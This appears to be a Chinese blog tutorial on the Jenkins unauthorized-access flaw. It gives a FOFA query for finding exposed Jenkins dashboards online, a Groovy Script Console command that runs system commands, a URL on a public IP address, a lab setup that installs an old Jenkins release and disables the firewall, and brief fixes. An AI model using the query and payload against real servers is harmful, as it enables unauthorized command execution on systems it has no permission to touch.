Jenkins未授权访问漏洞

Jenkins未授权访问漏洞

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞复现

步骤一:使用以下fofa语法进行产品搜索

复制代码
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

步骤二:在打开的URL中.点击 Manage Jenkins-->Scritp Console 在执行以下命令

复制代码
#执行命令
println "whoami".execute().text  
#命令执行页面
http://125.63.109.2:8080/manage/script/index.php

实在找不到

靶场复现

环境准备

虚拟机centos IP:192.168.30.138

下载安装包,版本1.620.1.1.norach

复制代码
wget http://archives.jenkins-ci.org/redhat/jenkins-1.620-1.1.noarch.rpm

安装Jenkins

复制代码
rpm -ivh jenkins-1.620-1.1.noarch.rpm

启动Jenkins服务

复制代码
service jenkins start

关闭防火墙或放行8080端口

复制代码
systemctl stop firewalld.service

访问服务地址

http://192.168.30.138:8080/manage

http://192.168.30.138:8080/script

复制代码
#执行命令
println "whoami".execute().text  


漏洞修复

  1. 升级版本。
  2. 添加认证,设置强密码复杂度及账号锁定。
  3. 禁止把Jenkins直接暴露在公网。
相关推荐
sulikey1 小时前
Linux基础指令与权限管理深度解析:从入门到精通
linux·运维·服务器·ubuntu·centos·linux命令·linux权限
qq_2153978971 小时前
docker 安装 opengauss 高斯数据库
运维·docker·容器
s***46982 小时前
linux 设置tomcat开机启动
linux·运维·tomcat
r***F2622 小时前
若依部署Nginx和Tomcat
运维·nginx·tomcat
HalvmånEver3 小时前
Linux:进程的切换与调度(进程四)
linux·运维·服务器
运维有小邓@3 小时前
实时日志关联分析工具:智能检测潜在安全威胁
运维·网络·安全
谷隐凡二4 小时前
Docker 的核心理念及技术的简单说明
运维·docker·容器
世界尽头与你4 小时前
Go pprof 调试信息泄露漏洞
安全·网络安全·golang·渗透测试
L***B5684 小时前
如何安装linux版本的node.js
linux·运维·node.js
脏脏a5 小时前
【Linux】Linux进程状态深度解析
linux·运维·服务器